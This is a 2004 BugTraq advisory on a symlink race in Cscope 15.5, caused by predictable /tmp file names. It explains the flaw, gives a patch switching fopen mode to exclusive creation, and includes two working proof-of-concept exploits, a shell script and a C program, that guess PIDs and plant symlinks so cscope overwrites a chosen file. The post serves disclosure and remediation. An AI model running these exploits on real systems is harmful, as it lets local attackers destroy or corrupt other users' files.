BugTraq
RX171104 Cscope v15.5 and minors - symlink vulnerability - advisory, exploit and patch. Nov 17 2004 09:27PM
rexolab (research rexotec com) (1 replies)

|############################ REXOTEC(dot)COM ###############################
|
|=-----=[ ADV RX171104 - Cscope :: Race condition on temporary file ]-----=|
|
|
|=---[ - INFORMATION
`----------------------------------------------------------------------|

VulnDiscovery: 2003/05/21
Release Date : 2004/11/17
Author : Gangstuck / Psirac <research (at) rexotec (dot) com [email concealed]>

Application : Cscope
Affected : All version (last one is cscope-15.5)
Platforms : Linux, SCO, SunOS/Solaris, ...
Risk : Critical
Severity : Allow local user to compromise filesystem.

Vendor : http://cscope.sourceforge.net/
Reference : http://www.rexotec.com/advisory/RX171104.html

Status : vendor has just been notified.

|=---[ - SUMMARY OVERVIEW
`----------------------------------------------------------------------|

Cscope is a developper's tool under the BSD license used to browse
source code.

His Unix pedigree is impeccable and has originally been developped at
Bell Labs back in PDP-11's days. Cscope was a part of the official
AT&T Unix distribution for many years and has been used to manage
projects involving 20 million lines of code !

|=---[ - VULNERABILITY OVERVIEW
`----------------------------------------------------------------------|

First, the temporary directory (P_tmpdir="/tmp") is badly handled
in every myfopen() internal call.
As all we know, creation of predictable temporary file allows any
local attacker to remove arbitrary files on the vulnerable file
system via the infamous symlink vulnerability.

/src/main.c :
----------;

[...]
char temp1 [PATHLEN + 1]; /* temporary file name */
char temp2 [PATHLEN + 1]; /* temporary file name */
[...]
tmpdir = mygetenv("TMPDIR", TMPDIR);
[...]
/* create the temporary file names */
pid = getpid();
(void) sprintf(temp1, "%s/cscope%d.1", tmpdir, pid);
(void) sprintf(temp2, "%s/cscope%d.2", tmpdir, pid);
[...]

Before us are the computing of two predictable files names (resulting
in a schema like "/tmp/cscopeNEXTPID.numba"). So, we just have to probe
the pid numba and make the same template which to be used for
temporary file creation. Then, cscope handle the files with
wrong set of flags and compromise root filesystem due
to symlink vulnerability.

|=---[ - EXPLOITS - Proof of concept
`----------------------------------------------------------------------|

---8<--------8<-------cut-here-------8<--------8<---

#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research (at) rexotec (dot) com [email concealed]>
#################################################################

HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n" " [versions 15.5 and minor]\n" " Gangstuck / Psirac\n" " <research (at) rexotec (dot) com [email concealed]>\n\n"

if [ $# -lt 1 ]; then
echo "Usage: $0 <file1> [number_of_guesses]"
exit 1
fi

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done

---8<--------8<-------cut-here-------8<---------8<---

/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int
main(int ac, char *av[]) {
pid_t cur;
u_int i=0, lst;
char buffer[BSIZE + 1];

fprintf(stdout, "\n --[ Cscope Exploit ]--\n" " version 15.5 and minor \n" " Gangstuck / Psirac\n" " <research (at) rexotec (dot) com [email concealed]>\n\n");

if (ac != 3) {
fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
return 1;
}

cur=getpid();
lst=cur+atoi(av[2]);

fprintf(stdout, " -> Current process id is ..... [%5d]\n" " -> Last process id is ........ [%5d]\n", cur, lst);

while (++cur != lst) {
snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
symlink(av[1], buffer);
}

return 0;
}

---8<----------8<-------cut-here-------8<-------------8<---

|=---[ - PATCH
`----------------------------------------------------------------------|

/*
* Cscope patch by REXOTEC - version 15-5 and minors
* <research (at) rexotec (dot) com [email concealed]>
*/
diff -Naurp src/build.c src/build.c
--- src/build.c 2003-03-05 11:43:59.000000000 +0100
+++ src/build.c 2004-11-17 15:01:01.000000000 +0100
@@ -333,7 +333,7 @@ build(void)
(void) fprintf(stderr, "cscope: cannot open file %s\n", reffile);
myexit(1);
}
- if (invertedindex == YES && (postings = myfopen(temp1, "wb")) == NULL) {
+ if (invertedindex == YES && (postings = myfopen(temp1, "w+xb")) == NULL) {
cannotwrite(temp1);
cannotindex();
}
diff -Naurp src_old/display.c src/display.c
--- src/display.c 2003-09-04 17:54:02.000000000 +0200
+++ src/display.c 2004-11-17 15:01:01.000000000 +0100
@@ -754,13 +754,13 @@ BOOL
writerefsfound(void)
{
if (refsfound == NULL) {
- if ((refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ((refsfound = myfopen(temp1, "w+xb")) == NULL) {
cannotopen(temp1);
return(NO);
}
} else {
(void) fclose(refsfound);
- if ( (refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ( (refsfound = myfopen(temp1, "w+xb")) == NULL) {
postmsg("Cannot reopen temporary file");
return(NO);
}

|=---[ - GREETS
`----------------------------------------------------------------------|

All the saïan subk crew (marty, med, ezek, rea, jethro, rolphin, candy,
ad, titox), descript, crazyl0rd/tium, xia, antho, ceb, lionel, domi
#subkulture / #ids on undernet, ...

--
cheers,
gangstuck and psirac <research (at) rexotec (dot) com [email concealed]>

[ reply ]
Re: RX171104 Cscope v15.5 and minors - symlink vulnerability - advisory, exploit and patch. Nov 18 2004 11:42AM
Hans-Bernhard Broeker (broeker physik rwth-aachen de) (1 replies)


 

Privacy Statement
Copyright 2010, SecurityFocus